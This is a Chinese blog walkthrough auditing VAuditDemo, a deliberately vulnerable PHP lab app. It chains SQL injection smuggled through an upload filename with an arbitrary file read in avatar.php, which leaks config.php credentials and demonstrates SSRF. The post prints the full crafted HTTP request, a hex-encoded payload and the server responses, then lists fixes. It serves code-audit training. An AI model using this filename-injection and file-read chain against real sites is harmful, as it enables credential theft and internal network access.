zoukankan      html  css  js  c++  java
  • VAuditDemo-任意文件读取

    任意文件读取是属于文件操作漏洞的一种。

    一般任意文件读取漏洞可以读取配置信息、甚至系统重要文件。

    严重的话,就可能导致SSRF,进而漫游内网。

    文件操作漏洞

    • 任意文件删除--删除lock
    • 任意文件复制--jpg2php && php2txt
    • 任意文件下载
    • 任意文件读取--SSRF
    • 任意文件写入

    avatar.php

    在读取头像信息时使用了file_get_contents()函数,file_get_contents() 函数是用来将文件的内容读入到一个字符串中。如果$_SESSION['avatar']可控,就有可能存在任意文件读取。

    <?php
    error_reporting(0);
    session_start();
    header("Content-type:image/jpeg");
    echo file_get_contents($_SESSION['avatar']);
    ?>

    搜索$_SESSION['avatar']查找它的来源。

    logCheck.php

    $_SESSION['avatar']是在登录时从数据库中读取的。

    if (isset($_POST['submit']) && !empty($_POST['user']) && !empty($_POST['pass'])) {
        $clean_name = clean_input($_POST['user']);
        $clean_pass = clean_input($_POST['pass']);
        $query = "SELECT * FROM users WHERE user_name = '$clean_name' AND user_pass = SHA('$clean_pass')";
        $data = mysql_query($query, $conn) or die('Error!!');
    
        if (mysql_num_rows($data) == 1) {
            $row = mysql_fetch_array($data);
            $_SESSION['username'] = $row['user_name'];
            $_SESSION['avatar'] = $row['user_avatar'];
            $ip = sqlwaf(get_client_ip());
    if (isset($_POST['submit']) && isset($_FILES['upfile'])) {
    
        if(is_pic($_FILES['upfile']['name'])){
    
            $avatar = $uploaddir . '/u_'. time(). '_' . $_FILES['upfile']['name'];
    
            if (move_uploaded_file($_FILES['upfile']['tmp_name'], $avatar)) {
                //更新用户信息
                $query = "UPDATE users SET user_avatar = '$avatar' WHERE user_id = '{$_SESSION['user_id']}'";
            //  "UPDATE users SET user_avatar = '1', SET user_avatar = '2' WHERE user_name = 'test'#.png";
           //  ',user_avatar = '2' WHERE user_name = 'test'#.png
                mysql_query($query, $conn) or die('update error!');
                mysql_close($conn);
                //刷新缓存
                $_SESSION['avatar'] = $avatar;
                header('Location: edit.php');
            }

    $_FILES在传入时除了判断是否是图片后缀未做其他过滤。 修改update语句,set两个值,当update语句中同时set两个值时,只有第二个值是生效的。由于使用了is_pic()函数判断是否是图片后缀,所以需要构造.png后缀,但是需要在语句执行前将.png截断。

    "UPDATE users SET user_avatar = '1', user_avatar = '2' WHERE user_name = 'test'";

    开启burp,登录用户test并上传头像,找到登录包、更新图像的包和获取图像这三个数据包。

    • logCheck.php
    • updateAvatar.php
    • avatar.php
    ',user_avatar = '2' WHERE user_name = 'test'#.png

    修改上传数据包如下:filename处注入SQL语句。

    POST /user/updateAvatar.php HTTP/1.1
    Host: www.code.com
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: multipart/form-data; boundary=---------------------------18467633426500
    Content-Length: 332
    Origin: http://www.code.com
    Connection: close
    Referer: http://www.code.com/user/edit.php
    Cookie: PHPSESSID=44u76jo2g5t1vmp60ptau9uba2
    Upgrade-Insecure-Requests: 1
    DNT: 1
    
    -----------------------------18467633426500
    Content-Disposition: form-data; name="upfile"; filename="',user_avatar = '2' WHERE user_name = 'test'#.png"
    Content-Type: image/png
    
    
    -----------------------------18467633426500
    Content-Disposition: form-data; name="submit"
    
    涓婁紶
    -----------------------------18467633426500--

    然后修改logCheck.php内容如下,当SQL语句执行出错时让其输出错误信息。

    if (mysql_num_rows($data) == 1) {
            $row = mysql_fetch_array($data);
            $_SESSION['username'] = $row['user_name'];
            $_SESSION['avatar'] = $row['user_avatar'];
            $ip = sqlwaf(get_client_ip());
            // <script src="http://www.code.com/csrfdemo.js"></script>
            $query = "UPDATE users SET login_ip = '$ip' WHERE user_id = '$row[user_id]'";
            mysql_query($query, $conn) or die("mysql_error()");  //mysql错误信息输出
            header('Location: user.php');
            }

    repeater重放包,查看数据是否成功写入2。

    9    test    a94a8fe5ccb19ba61c4c0873d391e987982fbbd3    2        2020-04-11    127.0.0.1

    修改2为../sys/config.php,查看数据库信息发现filename处只能输入文件名,不能带路径。

    9    test    a94a8fe5ccb19ba61c4c0873d391e987982fbbd3    ../uploads/u_1586583208_config.php        2020-04-11    127.0.0.1

    ../sys/config.php进行十六进制编码,再次尝试,成功写入../sys/config.php

     filename="',user_avatar = 0x2F7379732F636F6E666967706870 WHERE user_name = 'test'#.png"(注意十六进制头部需加0x)
    
    // 结果
    9    test    a94a8fe5ccb19ba61c4c0873d391e987982fbbd3    ../sys/config.php        2020-04-11    127.0.0.1

    获取头像操作是在登录时进行获取的,修改一下session值,重放登录包和获取头像的数据包。 在获取头像的响应中即可看到config.php的源码。

    HTTP/1.1 200 OK
    Date: Sat, 11 Apr 2020 06:03:34 GMT
    Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
    X-Powered-By: PHP/5.4.45
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
    Pragma: no-cache
    Connection: close
    Content-Type: image/jpeg
    Content-Length: 552
    
    <?php
    
    // error_reporting(E_ALL);
    error_reporting(0);
    
    if (!file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock')){
        header("Location: /install/install.php");
    exit;
    }
    
    include_once('../sys/lib.php');
    
    $host="localhost"; 
    $username="root"; 
    $password="root"; 
    $database="vauditdemo"; 
    
    $conn = mysql_connect($host,$username,$password);
    mysql_query('set names utf8',$conn);
    mysql_select_db($database, $conn) or die(mysql_error());
    if (!$conn)
    {
        die('Could not connect: ' . mysql_error());
        exit;
    }
    
    session_start();
    
    ?>

    测试一下是否存在ssrf漏洞。将http://www.baidu.com转换为十六进制。重发登录包和获取头像包,能够获取百度html,说明存在ssrf。

    test    a94a8fe5ccb19ba61c4c0873d391e987982fbbd3    http://www.baidu.com        2020-04-11    127.0.0.1
    
    
    HTTP/1.1 200 OK
    Date: Sat, 11 Apr 2020 06:36:55 GMT
    Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
    X-Powered-By: PHP/5.4.45
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
    Pragma: no-cache
    Connection: close
    Content-Type: image/jpeg
    Content-Length: 14616
    
    <!DOCTYPE html><!--STATUS OK-->
    <html>
    <head>
        <meta http-equiv="content-type" content="text/html;charset=utf-8">
        <meta http-equiv="X-UA-Compatible" content="IE=Edge">
        <link rel="dns-prefetch" href="//s1.bdstatic.com"/>
        <link rel="dns-prefetch" href="//t1.baidu.com"/>
        <link rel="dns-prefetch" href="//t2.baidu.com"/>
        <link rel="dns-prefetch" href="//t3.baidu.com"/>
        <link rel="dns-prefetch" href="//t10.baidu.com"/>
        <link rel="dns-prefetch" href="//t11.baidu.com"/>
        <link rel="dns-prefetch" href="//t12.baidu.com"/>
        <link rel="dns-prefetch" href="//b1.bdstatic.com"/>
        <title>百度一下,你就知道</title>
        .....


    漏洞修复

    • $_FILE进行过滤
    • filename中的特殊字符进行过滤。

    审计思路总结

      • 1.file_get_contents可以读取$_SESSION['avater']
      • 2.$_SESSION['avater']通过$row['user_avater']获取
      • 3.updateAvater.php上传头像到数据库
      • 4.$avater的最终来源是$_FILE['upfile']['name']上传文件的名字。
  • 相关阅读:
    “嫦娥一号”探月卫星成功发射
    优化SQL Server数据库查询(转)
    虚拟网络连接设置
    字符串分割自定义函数(SQL)
    做程序的劫客
    Linux学习笔记12我的第一个C程序
    C#学习笔记——25个经典问题
    C#学习笔记——回调机制
    C#学习笔记——TCP通讯
    halcon学习笔记——实例篇(2)长度和角度测量
  • 原文地址:https://www.cnblogs.com/micr067/p/12679572.html
Copyright © 2011-2022 走看看